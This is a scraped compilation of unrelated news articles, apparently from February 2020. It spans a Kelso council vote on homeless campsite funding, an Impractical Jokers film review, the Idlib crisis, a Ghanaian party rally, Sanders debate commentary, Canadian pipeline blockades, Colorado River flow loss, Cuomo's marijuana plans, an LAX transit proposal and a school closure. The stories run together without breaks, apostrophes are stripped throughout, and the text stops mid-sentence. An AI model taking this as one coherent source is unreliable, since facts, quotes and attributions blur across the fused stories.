local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Editor's Note: This story has been updated to reflect that Kelso will not support a "no-barrier, unsanctioned, unhosted campsite." The Kelso City Council on Tuesday unanimously voted to deny any payments for any unregulated homeless encampments in the county. The matter was not on the council meeting agenda. But Councilwoman Lisa Alexander asked the council to officially state that the city would refuse to help finance another "no-barrier, unsanctioned, unhosted" campsite. She serves on the Cowlitz County ad hoc committee currently researching alternative campsites. Kelso has not yet been officially asked for financial support. However, Alexander said the expectation has been clear from the start that Longview, Kelso and the county would share the costs of another site. Costs have not yet been spelled out. If we vote on this motion and it passes, when I go to the next ad hoc committee, I can make it perfectly clear that Kelso is not okay with low-barrier, Alexander told the council. Longview City Manager Kurt Sacha on Wednesday said he was bitterly disappointed with Kelsos decision. Homelessness is a societal problem, he said. Its one that will take all of us to come together to try to resolve. I dont believe sticking your head in the sand and hoping it will all go away is a solution to resolving homelessness. As a community, we all need to come together and try to develop a solution. Cowlitz County Commissioners Joe Gardner and Arne Mortensen said Wednesday the board is waiting to see what the ad hoc committee decides but they are willing to entertain ideas. However, Mortensen said whatever site that moves forward has to be managed with rules. Commissioner Dennis Weber, whos on the committee, said he agreed with Alexander that just moving the encampments around without adding services for the campers is almost cruel, but he said the Kelso Councils vote was a bit premature. Kelso Mayor Nancy Malone Tuesday night said campers at Longviews designated homeless site off Alabama Street and Oregon Way are living in squalor, and no one should have to live like that. Kelsos denial to put money into additional camps will send a message that we need to look further, she said. For those who are breaking the law, I would rather have my tax dollars keep them in jail than running the streets and robbing neighborhoods. Longview City Councilwoman Ruth Kendall, who also serves on the ad hoc committee, said she was alarmed to hear Malones comments. Shes not being realistic because putting people in jail doesnt solve the problem. Its not a solution at all and its not even a cost-effective Band-Aid, Kendall said Wednesday. Kendall, however, said Kelsos decision didnt surprise her because Alexander spoke loud and clear at the last ad hoc meeting about her concerns with Longviews campsite. Alexander on Tuesday cited several problems with the temporary homeless campsite that Longview established in December to get homeless campers away from City Hall. What were doing now (at that campsite) isnt helping these folks, Alexander said. All you have to do is step one foot into the encampment and see how wrong it really is. Citing Longview police statistics, Alexander said there have been 226 police calls in the past five weeks to Longviews homeless camp. Crime rates in general have increased 19% in that area, she said. Alexander said after the meeting that she is concerned the same thing would happen in Kelso and there wouldnt be enough police officers to handle the increase in calls. Longview Manager Sacha, however, said crime rates in the city havent changed between last year and this year. What that means is, has crime really gone up in Longview because theres an encampment? The numbers dont appear to support that. What they do maybe show is (crime) is a little more concentrated, he said. In a jab towards Kelso, Sacha added that Longview responded to 146 emergency calls in Kelso city limits last year. Thats the community working together for the betterment of all citizens, he said. The committee last week narrowed the list for potential new homeless campsites to two locations: one located next to the Cowlitz County Jail and another near the Coal Creek Boat Launch off Ocean Beach Highway in West Longview. Neither location is in Kelso, but the site near the jail is on the edge of West Kelso. Several Kelso council members said they didnt want to have the same problems the city experienced when Love Overwhelming operated an emergency homeless shelter near the Cowlitz County Administration Building in Kelso. They said the current encampment is unsafe and unsanitary. Councilman Mike Karnofski was the only council member to raise any objection to Alexanders motion. He said there have been fewer homeless campers out at Longview City Hall and on the streets since Longview established the camp. Nonetheless, he still voted for the measure. Mayor Malone responded that instead of sleeping by City Hall, the campers are now getting what they want from residential areas. Sacha said he hopes the ad hoc committee will select a second campsite at its meeting on Friday and then begin developing that site. Because one of the proposed sites is located in Longview and the other is next to city limits, Sacha said he expects Longview to contribute funds to the sites. How much money is hard to determine, he said. The next ad hoc committee is at 1 p.m. Friday at the County Administration Building. Reporter Katie Fairbanks contributed to this report. Love 47 Funny 4 Wow 8 Sad 4 Angry 22 Ukraine boosts farm produce exports by 14%, to almost US$2 bln in Jan 11:20, 21.02.20 914 China, Egypt, Spain, the Netherlands, and Turkey were major importers of Ukrainian agricultural products in January. STATEN ISLAND, N.Y. -- Director Chris Henchy said he wanted to give the fans of "Impractical Jokers what theyve come to expect -- the guys in their playful but competitive truTV state -- while attracting a wider audience that may not be familiar with the show. Impractical Jokers: The Movie did just that. The film is billed as a half-scripted, half-improv comedy following the Impractical Jokers crew (Staten Island buddies Joe Gatto, James Murr Murray, Brian "Q" Quinn and Sal Vulcano) on their trek to a Paula Abdul concert. When they are given three passes to see her perform in Miami, the four Jokers must battle it out in hidden camera challenges to determine who will go -- and who will be left out. -Paula Abdul attends the premiere of "Impractical Jokers: The Movie" at the AMC Lincoln Square theater in Manhattan on Feb. 18, 2020. (Staten Island Advance/ Alexandra Salmieri) - Alexandra SalmieriAlexandra Salmieri Abdul isnt the only celebrity who made a cameo in this film. Jaden Smith and Joey Fatone also joined the project. Pro-tip: Keep your eyes peeled for Will Ferrell in the restaurant scenes. You can catch a glimpse of him in the background. The hidden camera challenges in Impractical Jokers: The Movie maintained a level of embarrassment that keeps fans cringing -- in a good way -- without abusing the idea. Unlike the show, each Joker experienced a self-inflicted punishment throughout the film. The punishments played on character traits fans are used to, like Sals fear of cats and Joes ability to cause a scene at any given time. The scenes in between the challenges are used to fill storyline gaps during the road trip to Miami. The bits kept with the Jokers voice throughout, but viewers can clearly tell what is scripted and what is authentic. Brian "Q" Quinn walks the red carpet at the AMC Lincoln Square theater in Manhattan for the "Impractical Jokers: The Movie" premiere on Feb. 18, 2020. (Staten Island Advance/ Alexandra Salmieri) - - Alexandra SalmieriAlexandra Salmieri ------------- To see the Impractical Jokers on Tour visit: Ticketmaster, StubHub and SeatGeek ------------- STATEN ISLAND REFERENCES As if their accents werent enough, the Jokers film sprinkled Staten Island references throughout its 93-minute runtime. While a majority of the film was not shot on Staten Island, it did include footage of the Bayonne Bridge and Ladder Co. 86/Engine Co. 166 in Graniteville, where Quinn worked as a firefighter. In multiple scenes, Vulcano rocked a Wu-Tang Clan T-shirt. The movie starts in 1994 when the Jokers were classmates at Monsignor Farrell High School. Early in the film, the Jokers takeover a Paula Abdul concert and the audience throw Staten Island trash -- their words, not ours -- at the guys to get them off the stage. The borough isnt brought up again until the end of the movie. One of the final lines -- Its time to go back to Staten Island -- got some cheers from the audience at the films premiere Tuesday night in Manhattan. The ending of Impractical Jokers: The Movie doesnt leave much room for a second round; this is one of those dont ruin a good film with a forced sequel situations. However, the film captured the authentic friendship the Jokers share and how the guys have become wildly successful. Bottom line: If you love the show, youll love Impractical Jokers: The Movie. If you have no idea who these guys are, grab a seat and enjoy the ride. Turkeys president phones Russian counterpart as fighting in Syria threatens nearly one million trapped civilians. The United Nations warned on Friday that escalating fighting in northwest Syria could end in a bloodbath as Turkish President Recep Tayyip Erdogan phoned Russias leader to discuss the quickly deteriorating situation. The Kremlin said Russian President Vladimir Putin and Erdogan agreed to intensify talks on Syrias Idlib region to reduce tensions and implement a ceasefire. Putin told Erdogan he was seriously concerned by the aggressive actions of rebels in Idlib. The necessity of unconditional respect for the sovereignty and territorial integrity of Syria was underlined, the Kremlin statement said. Erdogan told Putin the solution was to return to the Sochi agreement they signed in 2018, which allowed Turkey to establish military posts across Idlib designed to prevent a Syrian government assault. That deal has been increasingly set aside as Syrian forces advance steadily into the region. The president during the call stressed that the regime should be restrained in Idlib and that the humanitarian crisis must be stopped, the Turkish presidency said in a statement after the two leaders spoke. Erdogan also asked his French and German counterparts to provide concrete support in ending the burgeoning humanitarian crisis in Syrias Idlib region, Turkeys presidency said. Erdogan said attacks in Idlib where a Russia-backed Syrian government offensive has displaced nearly one million people and brought Ankara, Moscow and Damascus to the brink of confrontation must be stopped. Idlib is the final stronghold of rebels fighting Syrian President Bashar al-Assads government during a nine-year war that has killed hundreds of thousands of people and displaced millions. Turkey, which backs some rebel groups in Idlib, has lost 16 military personnel this month in clashes with Syrian forces. It has bolstered its positions and called for Syrian forces to pull back. With Ankara threatening an imminent operation against Syrian forces, Minister of Defence Hulusi Akar inspected troops gathered at the Syrian border on Friday. Rebels fire a rocket at a position near the village of al-Nayrab, 14km southeast of Idlib city [Muhammad Haj Kadour/AFP] Relentless violence Some 60 percent of the 900,000 people who have fled their homes but are trapped in a shrinking space are children, the UNs office for humanitarian coordination spokesman Jens Laerke told a Geneva news briefing. The relentless violence must stop before it degenerates into what we fear may end in a bloodbath for civilians, he said. In the freezing winter, many people have resorted to burning their spare clothes, pieces of furniture or other materials, said Laerke. The front lines and relentless violence continues to move closer to these areas which are packed with displaced people, with bombardments increasingly affecting displacement sites and their vicinity. We call for an immediate ceasefire to prevent further suffering. UN Secretary-General Antonio Guterres said on Friday the man-made humanitarian nightmare in Syrias Idlib province must end now, but he did not offer any specific plan for curbing the bloodshed in the final rebel holdout. For almost a year we have seen a series of Syrian government ground offensives supported by Russian airstrikes. This month there have been repeated deadly clashes between Turkish and Syrian government forces, Guterres said. The message is clear: There is no military solution for the Syrian crisis. The only possible solution remains political. No withdrawal Two Turkish soldiers were killed and another five wounded in Syrian government air raids on Thursday in Idlib. More than 50 Syrian forces were killed in retaliation, Turkeys defence ministry said. Erdogan said the French and German leaders had proposed to hold a four-way summit with Russia but Putin had not yet responded. He repeated Turkey was not withdrawing its forces from Idlib. French President Emmanuel Macron and German Chancellor Angela Merkel expressed their shared concern over the catastrophic humanitarian situation that civilians find themselves in and the risk of an escalation, a French presidency statement said. Erdogan also said Turkey was continuing work setting up housing for Syrian migrants in a 30-35km (19-22 mile) safe zone in Syria along the border with Turkey. Ankara and Moscow have accused each other of flouting a 2018 de-escalation agreement that allowed Turkey and Russia to set up observation posts in Idlib. Turkey has said some of its posts in Idlib were surrounded by Syrian government forces. Pakistan's security forces have shot dead two commanders of a banned outfit in the country's restive northwest tribal region, officials said on Friday. The militants, associated with the Tehrik-e-Taliban (TTP)'s Sajna Group, were killed during an exchange of fire in Tank district of Khyber Pakhtunkhwa bordering the restive South Waziristan tribal district. Anas alias Munir and Bakhtullah were wanted by the law enforcement agencies in various cases of attacks on the security forces and for carrying out bomb blasts. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mr. Abdul-Aziz Harun Futa, the National Nasara Coordinator of the New Patriotic Party (NPP), has stated said Zongo residents would be showing ingratitude to the current government, if they did not endorse President Nana Addo Dankwa Akufo Addos bid for a second term. God will not forgive the people in the Zongo communities across the country, if they fail to vote massively for the NPP in the 2020 general election, to enable it continue and complete the numerous projects currently on-going in the Zongos, he stated. According to him, no government since independence had shown commitment to the development of Zongos than the present NPP government and called on the people of the Zongos to reciprocate the gesture of the President in the December election. Mr. Futa who was speaking at the 10th anniversary of the Al- Wahda Club of NPP in Kumasi, said the NPP had displayed an overwhelming proof that it was the Party for the Zongos. He said the National Democratic Congress (NDC) had over the years created the impression that NPP was anti-Zongo, but the level of development the NPP brought to the Zongos, proved the contrary. A Party that had not only established a whole ministry to spearhead the development of Zongos, but has gone further to set aside a special fund to help to actualise the Zongo development aspirations, could certainly not be anti-Zongo, he emphasised. According to the Nasara Coordinator, the NDCs years of propaganda had fallen flat in the face of the massive development projects being executed in the Zongos to bridge the developmental gap. The NDC, he claimed, betrayed the people of Zongo, despite enjoying a lot of support from them, saying that, the Zongos now belonged to the NPP. As I speak, about 40 per cent of student nurses benefitting from the restoration of the nurses allowance are from the Zongos, he pointed out. He said Zongos had no excuse, but to come out in their numbers on December 7, to vote for the NPP to show appreciation for the unprecedented transformation. He therefore charged the Nasara coordinators at the regional and constituency levels to work hard to garner more votes in the Zongos for the President in the forthcoming election. They should work towards securing at least 45 per cent of the votes in Zongo communities to increase the NPPs chances of retaining power, he implored. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Predictably, he was asked about the controversy over his medical records. Mr. Sanders is 78 years old and suffered a heart attack last fall. Afterward, he promised to make his medical records public. On Tuesday, he told CNN that his campaign wouldnt be sharing anything beyond the three letters from doctors that it had released earlier. Im comfortable on what we have done, he said. His campaign then set about attacking those who voiced concerns. His national spokeswoman likened questions to a smear campaign, before falsely claiming that Mr. Bloomberg, who had two stents implanted back in 2000, had also had a heart attack. (She later said she misspoke.) Opinion Debate Will the Democrats face a midterm wipeout? Mark Penn and Andrew Stein write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. Matthew Continetti writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. Ezra Klein speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. Michelle Cottle examines two primary contests that will shake the parties well beyond the states in play. For those not so comfortable with Mr. Sanderss Trumpian lack of transparency, the debate offered little reassurance. When pressed on the issue, the candidate grew ever more flustered. He wound up in an embarrassing back-and-forth with Mr. Bloomberg over each others stents just in case anyone watching had forgotten that both men are pushing 80. And he took to citing his cardiologists verdict that Bernie Sanders is more than able to deal with the stress and the vigor of being president of the United States an echo of the 2015 letter from Mr. Trumps doctor, stating that the then-candidate would be the healthiest individual ever elected to the presidency. Worse still was Mr. Sanderss response to questions about the divisiveness of his campaign, most particularly the vitriolic slice of supporters known as Bernie Bros. An aggressive subset of these fans, known for harassing those who criticize their man, were a problem in 2016, and they are a problem today. In Las Vegas on Wednesday, Pete Buttigieg pointed out that some of the senators acolytes were currently tangled up in a nasty fight with a powerful local labor union, the Culinary Workers, that had criticized Mr. Sanderss Medicare for All plan. The candidates response was, first, to play down the problem. If there are a few people who make ugly remarks, he said, I disown those people. He then sought to turn the tables, lamenting the vicious, racist, sexist attacks that the African-American women on his campaign had endured. He then suggested that it wasnt his real supporters behaving badly, but maybe Russian bots. Im not saying thats happening, but it would not shock me. Or as a certain president might put it, A lot of people are saying. Mr. Buttigieg turned the screws. Were in this toxic political environment. Leadership isnt just about policy, he said. Leadership is also about how you motivate people to treat other people. I think you have to accept some responsibility and ask yourself what it is about your campaign in particular that seems to be motivating this behavior more than others. Alberta, Canada Protests, blockades and other actions by Indigenous people and their allies in Canada have brought the country to a tipping point. That is according to Chief Wilton Littlechild, the former head of the Truth and Reconciliation Commission (TRC) of Canada. This is a tipping point for Canada and it illustrates a real need for reconciliation to begin where it hasnt and to continue where it has, Littlechild told Al Jazeera via phone. For weeks, protesters have taken to the streets, railways and ports, paralysing parts of the countrys transportation sector, to stand in solidarity with Wetsuweten land defenders, who are fighting to stop the construction of a pipeline on their traditional territories in northern British Columbia (BC). Wetsuweten hereditary chiefs, who hold authority over their land, say they were not properly consulted on the 670km (416-mile) Coastal GasLink pipeline. The company says it reached agreements with 20 elected First Nations band councils. In December, the BC Supreme Court granted Coastal GasLink an injunction to continue work on the pipeline. Following the arrests of Wetsuweten land defenders about two weeks ago, tensions have mounted as solidarity actions have grown across the country, with many calling on Prime Minister Justin Trudeau to solve the crisis. On the other side, provincial government leaders have condemned Trudeau for failing to endorse forceful action on the protesters, pointing to the blockades economic effects. These illegal blockades are trying to shut down Canada, and theres people losing their jobs, blue-collar people, vulnerable people, propane storage [is] running short in hospitals in Quebec, said Alberta Premier Jason Kenney. Enough is enough, he added at a news conference on Wednesday in Edmonton. Supporters of the Indigenous Wetsuweten Nations hereditary chiefs maintain a railway blockade as part of protests against British Columbias Coastal GasLink pipeline, in St Lambert, Quebec [Christinne Muschi/Reuters] Canadas opposition leader Andrew Scheer demanded Trudeau remove the radical activists who are holding the country economic hostage. Canadian National Railway (CN) and Via Rail Canada announced temporary layoffs of close to 1,500 people this week as a result of the demonstrations. According to Dennis Darby, CEO of Canadian Manufacturers & Exporters, the blockades are holding up approximately $321m ($425 million Canadian) worth of goods every day. Meanwhile, Quebec Premier Francois Legault warned Trudeau to issue an ultimatum to protesters to remove their blockades and allow for medical supplies, propane and other necessities delivered by rail back to the region. If not, Legault said hes prepared to take the matter into his own hands by enlisting the help of provincial police. We are losing control, Legault told a group of news reporters at the Quebec legislative building earlier this week. I dont want to be back in the middle of a propane crisis with the farmers. I dont want to find myself to not have planes taking off because we no longer have fuel. These barricades must be dismantled in the coming days. Nothing can be excluded right now yes, we have to respect Indigenous people, listen to them, but we also need to listen to Canadians, to Quebecers. A supporter of the Indigenous Wetsuweten Nations hereditary chiefs camps at a railway blockade as part of protests against British Columbias Coastal GasLink pipeline, in Edmonton, Alberta [Codie McLachlan/Reuters] Trudeau says invoking police action will not help. We need to resolve it not just for today and tomorrow, but for the weeks and months to come. The approach the leader of the opposition [Scheer] is proposing would not ensure jobs and stability for Canadians in the future. Were focused on resolving it peacefully, Trudeau said from Parliament Hill Wednesday. He added, however, that the blockades are unacceptable. This government is working extremely hard to resolve this situation, he told reporters. We know people are facing shortages, theyre facing disruptions, theyre facing layoffs thats unacceptable. Reconciliation Since taking office in 2015, Trudeau has said his governments number one priority is reconciliation with First Nations. But the latest tensions underscore that the road to reconciliation has been rocky. Things can go one of many ways, Littlechild told Al Jazeera. If it continues in a negative way it will hurt all the good efforts of reconciliation, Littlechild said. This is a new era and we can look to the United Nations, the Treaties, the TRC Calls to Action. Theres solutions proposed in those documents that are helpful. Signs are posted on a fence as supporters of the Indigenous Wetsuweten Nations hereditary chiefs maintain a railway blockade as part of protests against British Columbias Coastal GasLink pipeline, in St Lambert, Quebec [Christinne Muschi/Reuters] Sylvia McAdam, a Cree lawyer and professor at the University of Windsor, agreed. This is not a new resistance, said McAdam, one of the founders of Idle No More, a movement born in 2012 in response to parliamentary bills that threatened Indigenous sovereignty and environmental protections. I think today were reaching a boiling point where Indigenous people are so tired of the racism, theyre tired of colonisation, theyre tired of protecting and defending (rights and land), she told Al Jazeera. McAdam said Canada needs to reckon with its past and pay the debts it owes First Nations. I hope that the colonial state called Canada will make fundamental changes in how they work with Indigenous Peoples, she said. That means we get our lands back, honour the treaties, none of the lands are ceded or surrendered. If that doesnt happen youre [Canada] going to condemn the next generation [my grandchildren] to poverty and youre going to leave behind a very angry generation of young people. First Nations members of the Tyendinaga Mohawk Territory maintain a camp next to a railway crossing, in support of Wetsuweten Nation members who are trying to stop construction of British Columbias Coastal GasLink pipeline [Chris Helgren/Reuters] For now, however, it is unclear if the situation will de-escalate. Federal police from the Royal Canadian Mounted Police (RCMP) sent a letter to hereditary chiefs this week, saying they would withdraw from Wetsuweten territory along the pipelines route as long as a service road was kept clear. Hereditary chiefs, however, rejected the offer, saying the RCMP are still patrolling the territory. Some hereditary chiefs will travel to Tyendinaga Mohawk Territory on Friday and are expected to hold a news conference. According to Littlechild, the situation will take political will on all sides to come to an agreement. This could be an opportunity to resolve these challenges together and learn to live peacefully together going forward. Climate change has made its way to the Colorado River. A new geological survey found that the massive river's flow decreased by 20 percent over the past century and climate change is the cause of more than half of the loss. Researchers found that global warming is reducing the amount of snow, which is increases water evaporation. Data shows there is about 1.5 billion tons of water missing from the river, which is equal to the annual water consumption of 10 million Americans. The team found the flow dipped 9.3 percent for each temperature rise over 1.8 degrees Fahrenheit. Scroll down for video Climate change has made its way to the Colorado River. A new geological survey found that the massive river's flow has decreased by 20 percent flow over the past century and climate change is the cause of more than half of the loss Two scientists at the US Geological Survey discovered the decrease by developing a mathematical model of the water movements in the upper Colorado River basin for the period from 1913 to 2017. The duo gathered historical data of the river's temperature and precipitation over the past century, as well as pulling readings from radiation. They observed that global warming had led each year to a reduction in the snow pack, or the amount of snow that accumulates. So if there is less and less snow, it melts earlier and earlier each spring. With less snow covering the ground, the soil in the river basin was absorbing more sunlightinstead of it being reflected away by the snow. Two scientists at the US Geological Survey discovered the decrease by developing a mathematical model of the water movements in the upper Colorado River basin for the period from 1913 to 2017 The Colorado River Basin loses progressively more water to evaporation, as its sunlight-reflecting snow mantle disappears,' write the authors, USGS senior resource scientist Chris Milly and physical scientist Krista A. Dunne. The Colorado River stretches 1,450 miles from Mexico into the Rocky Mountains, providing seven US states with water about 40 million Americans live in this area who depend on the river. Milly and her colleague physical scientist Krista A. Dunne analyzed 960 different areas in the Upper Colorado River Basin to see how a decrease in snow accumulation could affect the river's annual flow. 'The region is poised to warm even more in the years ahead, Milly told The Washington Post, 'and it isn't 'likely' that precipitation can compensate for these hotter and drier conditions.' 'That flow, we estimate, due to the warming alone would be reduced anywhere from 14 to 31 percent by 2050.' NEW YORK Gov. Andrew Cuomo announced Thursday that he will embark on a cross-country tour of legal marijuana states as part of his effort to legalize the drug in New York. At a press event in New York City, Cuomo said he plans to visit Massachusetts, Illinois and either California or Colorado three states that have "different versions" of legalized recreational marijuana programs. He said the goal is to find out what's worked for them, what hasn't, and what they've learned in the process. "Everybody has goals," he said. "We want a goal of social equity, we want to make sure young people can't get it, et cetera. We want to make sure there are advantages to communities that have been oppressed. But then you look at the aftermath and many of those goals haven't been met, right?" He said he and "his team" will meet with the other states to explore how the social equity and law enforcement pieces of their programs have panned out. Social equity programs aim to increase access to the industry for poor and minority groups who have been harmed by America's war on drugs. It's likely the governor's team would include the state's new director of Cannabis Programs, Norman Birenbaum, who was appointed to the brand new position in December. Cuomo spokesman Jason Conwall said additional details on the trip, including who's going and when, will be released soon. New York is currently pursuing "regional coordination" with other Northeast states when it comes to marijuana legalization. Cuomo said New York wants to work with Massachusetts, Rhode Island, Connecticut, New Jersey and Pennsylvania states that have either already legalized the drug or are trying to to coordinate tax rates, minimum age purchases, sale limits, and other program aspects in order to minimize competition. "You know, our political debate now is all about 'I have a plan,'" he said. "Yeah, everybody has a plan. But can you actually get it done and does it turn out the way you planned it, right? That's the big question, and that's where government usually gets into trouble. So, I want to make sure we learn from them." The governor has said marijuana legalization will be a major priority of his this budget season. It will be easier to pass as part of the state budget, which is due April 1, than as standalone legislation, he said. An effort last year to legalize in New York failed. Eleven states and Washington, D.C. have legalized recreational pot so far, and public support on the issue continues to grow. Two-thirds of Americans support legalization, according to a November 2019 Pew Research Center survey. Maharashtra Water Resources Minister Jayant Patil on Friday said the state government can carry out an independent and parallel inquiry in the Elgar Parishad case despite the probe being taken over the by the federal National Investigation Agency. While the state government allowed the case, which relates to a conclave in Pune on December 31, 2017 in which alleged inflammatory speeches were made, to be handed over to the NIA, the NCP and Congress, partners in the Maha Vikas Aghadi government, had opposed it. Patil, however, said there were no differences in the MVA government on NIA taking over the Elgar Parishad probe. "Even if the NIA has taken over the case, the state government can conduct an independent and parallel inquiry into the case and a decision to this effect may be taken by the state government soon," he said. He said the Centre was delaying GST dues and central tax share to Maharashtra ever since the MVA under Uddhav Thackeray took charge, adding "my assumption is that the Centre's financial position is not sound". "I am not of the opinion that they are deliberately delaying the dues. Any government at the Centre treats all states impartially," he said. Patil said the meeting between CM Thackeray and Prime Minister Narendra Modi in Delhi will discuss pending dues of the state. Patil said a decision on the National Population Register exercise would take place after all constituents of the government study its questionnaire. "NPR is a census and there is no question of opposing the census. Only important thing is what sort of questions will be asked. We will discuss this and take a unanimous decision," Patil, a senior NCP leader, said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Ankara: The leaders of Germany and France phoned Russian President Vladimir Putin on Thursday to demand "an instant end of the fighting and the possibility of humanitarian aid for the people" of Idlib as tensions mount between his country and Turkey, which back opposite sides in Syria's civil war. The European Union then issued a statement urging an immediate halt to a crushing offensive by Syrian forces that has displaced nearly 1 million people in recent weeks. Turkish backed rebel fighters fire a howitzer towards the Syrian government forces' positions near the village of Neirab in Idlib province, Syria, on Thursday. Credit:AP The 27-nation EU said it was ready to boost aid to the most vulnerable civilians affected. It called for a sustainable ceasefire on all sides and "to allow unimpeded and direct humanitarian access to all those in need." The offensive by Syrian President Bashar al-Assad's forces is aimed at recapturing remaining opposition-held areas. NORTH ROYALTON, Ohio - Carrie Cerinos, a mainstay Italian restaurant that has been around for more than half a century, has closed. The restaurant posted on its Facebook page and home page that the restaurant's final day was Tuesday: "Unfortunately, given the headwinds facing many small businesses in todays environment, it made it very difficult for Carrie Cerinos to operate and compete. With a heavy heart, owner, Carmen Cerino, made the difficult decision to close and hopes to use the time off to enjoy his growing family. The Cerino Family would like to thank the community and their loyal customers for allowing them to serve them over the years." Folks at the restaurant could not be reached Wednesday, though its answering message was still advertising hours. Located at 8922 Ridge Road in North Royalton, the restaurant opened in 1963 in the spot formerly occupied by Schukert's Chalet. That year, Carrie Cerrino's featured a roast leg of lamb with mint jelly or baked Easter ham with spiced apple, along with soup, baked potato or vegetable, and salad and dessert for $2.75. Subscribe to our free To Do Cleveland newsletter Cut through the noise with our expert picks and recommendations for restaurants, bars, concerts, nightlife, movies, festivals, family fun, theatrical performances, art exhibitions and more with To Do Cleveland, delivered every Thursday to your inbox. SIGN UP NOW For photos and videos on the extraordinary food and drinking scenes in Northeast Ohio, follow @DineDrinkCLE on Instagram. More dining and drink news from cleveland.com Order Wilder-Fury 2 on PPV: Start time, info for Feb. 22 fight Brite Winter 2020: What to know before you go (Music, food, games, art & more) Cleveland rock band Johns Little Sister to release debut album From Citizen Kane to Star Wars: 25 classic movie ads from vintage Cleveland newspapers Former WWE star accuses Donald Trump of forcefully grabbing her Akrons newest Jeopardy! champion talks about his winning strategy, meeting Alex Trebek: Q&A NE Ohio brewery honors top our WTAM 5-minute food-drinks chat Akron Vulcans futsal home game set for Saturday, Feb. 22 Akron RubberDucks hold National Anthem, mascot tryouts Akron Art & Ale brewery, food vendors announced As Democrats clashed in the fiery Las Vegas debate that saw Michael Bloomberg take the brunt of attacks on Wednesday night, Sens. Bernie Sanders and Elizabeth Warren were raking in donations at a breakneck pace. Warren who opened the night with a blistering takedown of Bloomberg before directing her ire at other 2020 rivals on the stage saw the best fundraising day of all nine debates, her campaign said on Twitter. In previous debates, the Massachusetts Democrat has shied away from directly attacking her opponents, instead opting for calmly promising party unity. But her supporters clearly loved the fighter that emerged on the Las Vegas stage, including zingers thrown at the three-time New York City, who's emerged as the perfect billionaire foil to both Sanders and Warren. "I'd like to talk about who we're running against: a billionaire who calls women 'fat broads' and 'horse-faced lesbians,'" she began. "And no, I'm not talking about Donald Trump, I'm talking about Mayor Bloomberg." In total, she raked in a staggering $2.8 million, her campaign announced within hours of the debate ending. Warren desperately needed the money after lackluster finishes in both Iowa and New Hampshire, seemingly leaving her campaign on life support. BLOOMBERGS FORTUNE SHIELDED FROM VOTERS, EVEN AS HE SPENDS BILLIONS ON 2020 CAMPAIGN While fundraising doesn't necessarily show who's going to win the primary, it's an important indication of enthusiasm for a candidate and is necessary to propel the contenders through an arduous and expensive primary process especially when facing off against Bloomberg, one of the wealthiest men alive. The 78-year-old billionaire has already spent more than $400 million of his own fortune on ads, on top of an unknown amount to build a massive campaign juggernaut. TRUMP WOULD RATHER RUN AGAINST BLOOMBERG THAN SANDERS IN 2020 Warren slightly edged out Sanders in the fundraising race. After the debate ended, his campaign announced the Vermont senator and self-avowed democratic socialist had fundraised $2.7 million from nearly 150,000 individual donations also the campaign's best debate day. Story continues According to an aggregate of national polls by RealClearPolitics, Sanders has a commanding double-digit lead and is trailed by former Vice President Joe Biden, Bloomberg and Warren. BLOOMBERG CAMP WARNS SANDERS 'IMPOSSIBLE TO STOP,' UNLESS BIDEN, KLOBUCHAR, BUTTIGIEG BOW OUT In Nevada, which holds its caucus on Saturday, Sanders also has a solid lead, while Biden is in second and Warren in third. Bloomberg is not participating in the four-early voting states and is instead concentrating on Super Tuesday, March 3, when 14 states will cast their ballots. Related Articles Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe L.A. leaders are floating a new plan to get people to take public transit to Los Angeles International Airport: allow bus and (eventually) rail riders to cut to the front of TSA security lines. The L.A. City Council approved a motion this week calling on Los Angeles World Airports, which runs LAX, to consider a program to allow public transit riders priority at security checkpoints. That would potentially include people who take Metro rail and buses, the LAX Flyaway Bus, other municipal transit providers, or private bus services, according to the motion filed by Councilman Bob Blumenfield. The intertwined goal is to reduce car traffic and greenhouse gas emissions by boosting regional transit ridership -- which has plummeted in recent years. "We're L.A. -- we are the big dog of airports and we have a major congestion problem," Blumenfield said during an interview on KPCC's AirTalk this week. "It would have tremendous benefits for us here in Los Angeles to do something that incentivizes people to get out of their cars and use public transit when they go to the airport." The much-anticipated LAX People Mover won't be moving people until at least 2023. (Courtesy Los Angeles World Airports) Metro's Crenshaw/LAX Line is expected to open this summer (it was initially set to open last fall). The rail line won't go directly to the airport, but a shuttle service is expected to fill the gap until the much-anticipated People Mover is completed (it won't be moving people until at least 2023). But Blumenfield said he doesn't want to wait on those projects before putting a program in place when bus services -- like the Flyaway Bus -- exist right now. "We want to encourage all of those transit options -- not just the rail option," he said. Blumenfield pointed to Logan International Airport in Boston, which launched a similar incentive for transit riders last May. Ridership on one bus line to the airport more than doubled in the first four months of the program, according to officials. LAX officials took one step to reduce congestion last year when they moved rideshare and taxi pick-ups to a separate lot away from the terminals, which had a rough start and sparked protests by taxi drivers. WHILE YOU'RE HERE: How To Get Into And Out Of LAX Without Losing Your Mind (Or Your Ride) Hamilton County Schools will be closed on Friday due to concerns of ice on roads in the morning, especially in the higher elevations. Officials earlier said there would be a two-hour delay on Friday, but the National Weather Service forecast calls for temperatures to remain below freezing until the middle of the day tomorrow. It was stated, "After additional discussions with emergency personnel and the concern of wet roads freezing overnight, it has been decided to close schools tomorrow out of an abundance of caution and the concern for student safety." School-aged childcare locations will be open on Friday from 8 a.m. to 6 p.m. at Barger Academy, Battle Elementary, Daisy Elementary, East Brainerd Elementary, East Ridge Elementary, Middle Valley Elementary, Harrison Elementary, and Red Bank Elementary. All campuses of Georgia Northwestern Technical College will delay opening until 10 a.m. on Friday. Officials said, "Its important for our students to stay engaged in learning every day, even on inclement weather days. The school district has created a range of activities for students to complete while out of school. We hope these learning activities will help parents engage children in learning activities while out of school. The academic assignments are available on the 